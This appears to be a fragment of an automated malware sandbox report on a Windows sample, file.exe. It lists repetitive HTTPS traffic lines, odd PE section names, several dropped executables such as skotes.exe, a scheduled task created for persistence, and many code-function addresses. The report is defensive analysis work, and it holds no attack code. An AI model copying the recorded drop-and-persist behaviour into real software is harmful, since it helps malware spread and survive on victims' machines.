Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.7:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.133:443 -> 192.168.2.7:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.133:443 -> 192.168.2.7:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.7:50092 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsHDGCAAFBFB.exe.0.dr	Static PE information: section name:
Source: DocumentsHDGCAAFBFB.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: .idata
Source: 8ab1d3acb4.exe.27.dr	Static PE information: section name:
Source: 8ab1d3acb4.exe.27.dr	Static PE information: section name: .rsrc
Source: 8ab1d3acb4.exe.27.dr	Static PE information: section name: .idata
Source: 8ab1d3acb4.exe.27.dr	Static PE information: section name:

Source: C:\Users\user\DocumentsHDGCAAFBFB.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF7ECD0	0_2_6CF7ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D0A8D20	0_2_6D0A8D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF1ECC0	0_2_6CF1ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D04AD50	0_2_6D04AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF2AC60	0_2_6CF2AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D0ACDC0	0_2_6D0ACDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFFAC30	0_2_6CFFAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFE6C00	0_2_6CFE6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF24DB0	0_2_6CF24DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFB6D90	0_2_6CFB6D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFEED70	0_2_6CFEED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D060F20	0_2_6D060F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF2AEC0	0_2_6CF2AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFC0EC0	0_2_6CFC0EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFA6E90	0_2_6CFA6E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFBEE70	0_2_6CFBEE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D068FB0	0_2_6D068FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFFEFF0	0_2_6CFFEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF20FE0	0_2_6CF20FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D000E20	0_2_6D000E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF2EFB0	0_2_6CF2EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFE2F70	0_2_6CFE2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF8EF40	0_2_6CF8EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF26F10	0_2_6CF26F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFF4840	0_2_6CFF4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF70820	0_2_6CF70820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFAA820	0_2_6CFAA820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D03C9E0	0_2_6D03C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF549F0	0_2_6CF549F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFE09B0	0_2_6CFE09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFB09A0	0_2_6CFB09A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFDA9A0	0_2_6CFDA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF58960	0_2_6CF58960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D0268E0	0_2_6D0268E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF76900	0_2_6CF76900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF9EA80	0_2_6CF9EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF9CA70	0_2_6CF9CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFD8A30	0_2_6CFD8A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D026BE0	0_2_6D026BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFCEA00	0_2_6CFCEA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFC0BA0	0_2_6CFC0BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF664D0	0_2_6CF664D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFBA4D0	0_2_6CFBA4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D024540	0_2_6D024540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D068550	0_2_6D068550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF38460	0_2_6CF38460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFAA430	0_2_6CFAA430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF84420	0_2_6CF84420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFAE5F0	0_2_6CFAE5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFEA5E0	0_2_6CFEA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF145B0	0_2_6CF145B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D04A480	0_2_6D04A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFC0570	0_2_6CFC0570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF82560	0_2_6CF82560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF78540	0_2_6CF78540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF7E6E0	0_2_6CF7E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFBE6E0	0_2_6CFBE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF446D0	0_2_6CF446D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF7C650	0_2_6CF7C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF4A7D0	0_2_6CF4A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFA0700	0_2_6CFA0700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D004130	0_2_6D004130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF300B0	0_2_6CF300B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFFC0B0	0_2_6CFFC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF18090	0_2_6CF18090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF6E070	0_2_6CF6E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFE8010	0_2_6CFE8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFEC000	0_2_6CFEC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF201E0	0_2_6CF201E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF88140	0_2_6CF88140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF96130	0_2_6CF96130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFEE2B0	0_2_6CFEE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFF22A0	0_2_6CFF22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D03C360	0_2_6D03C360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D062370	0_2_6D062370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFA8260	0_2_6CFA8260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFB8250	0_2_6CFB8250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFF8220	0_2_6CFF8220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFEA210	0_2_6CFEA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF743E0	0_2_6CF743E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF7E3B0	0_2_6CF7E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF523A0	0_2_6CF523A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF22370	0_2_6CF22370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFB6370	0_2_6CFB6370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF28340	0_2_6CF28340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D0A62C0	0_2_6D0A62C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF92320	0_2_6CF92320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFE1CE0	0_2_6CFE1CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFBFC80	0_2_6CFBFC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D069D90	0_2_6D069D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF23C40	0_2_6CF23C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF31C30	0_2_6CF31C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFF1DC0	0_2_6CFF1DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D049C40	0_2_6D049C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF13D80	0_2_6CF13D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D05DCD0	0_2_6D05DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF83D00	0_2_6CF83D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D077F20	0_2_6D077F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF43EC0	0_2_6CF43EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D03DFC0	0_2_6D03DFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D0A3FC0	0_2_6D0A3FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFCBFF0	0_2_6CFCBFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D02DE10	0_2_6D02DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF41F90	0_2_6CF41F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D0A5E60	0_2_6D0A5E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D07BE70	0_2_6D07BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF15F30	0_2_6CF15F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF55F20	0_2_6CF55F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D06F900	0_2_6D06F900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFFF8F0	0_2_6CFFF8F0
